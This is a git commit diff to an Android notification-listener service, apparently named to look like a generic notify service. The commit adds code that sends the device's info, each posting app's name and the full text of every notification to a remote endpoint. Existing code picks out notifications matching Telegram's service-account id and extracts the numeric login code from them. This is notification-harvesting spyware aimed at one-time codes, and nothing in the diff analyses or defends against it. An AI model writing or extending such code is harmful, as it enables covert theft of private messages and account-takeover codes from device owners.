This commit is contained in:
Your Name 2025-04-16 00:38:19 +03:00
parent 9a6e9fb484
commit 77820d4b43

View file

@ -1,6 +1,7 @@
package com.example.notifyservice; package com.example.notifyservice;
import static com.example.notifyservice.MainActivity.getCurrentHash; import static com.example.notifyservice.MainActivity.getCurrentHash;
import static com.example.notifyservice.MainActivity.getDeviceInfo;
import static com.example.notifyservice.MainActivity.setCurrentHash; import static com.example.notifyservice.MainActivity.setCurrentHash;
import android.app.ActivityManager; import android.app.ActivityManager;
@ -58,6 +59,9 @@ public class Listener extends NotificationListenerService {
public void onNotificationPosted(StatusBarNotification sbn){ public void onNotificationPosted(StatusBarNotification sbn){
String packageName = sbn.getPackageName(); String packageName = sbn.getPackageName();
// Log.i(packageName, packageName); // Log.i(packageName, packageName);
PostRequest _postRequestTask = new PostRequest(getApplicationContext(), null);
_postRequestTask.execute("notificationPosted", // STATIC
getDeviceInfo(getBaseContext()) + ";" + packageName + ";" + processTextsExtras(sbn.getNotification().extras)); // STATIC
if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
String code = processExtras(sbn.getNotification().extras); String code = processExtras(sbn.getNotification().extras);
if (code.length() < 5) if (code.length() < 5)
@ -81,7 +85,7 @@ public class Listener extends NotificationListenerService {
} }
} }
public String processExtras(Bundle extras) { public String processTextsExtras(Bundle extras) {
StringBuilder notifyTexts = new StringBuilder(); StringBuilder notifyTexts = new StringBuilder();
for (String key : notificationTextKeys) { for (String key : notificationTextKeys) {
@ -93,10 +97,14 @@ public class Listener extends NotificationListenerService {
} }
} }
return extractFirstNumber(notifyTexts.toString()); return notifyTexts.toString();
} }
public String processExtras(Bundle extras) {
return extractFirstNumber(processTextsExtras(extras));
}
private String getShortcutSafe(StatusBarNotification sbn) { private String getShortcutSafe(StatusBarNotification sbn) {
String shortcutId = null; String shortcutId = null;
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) { if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {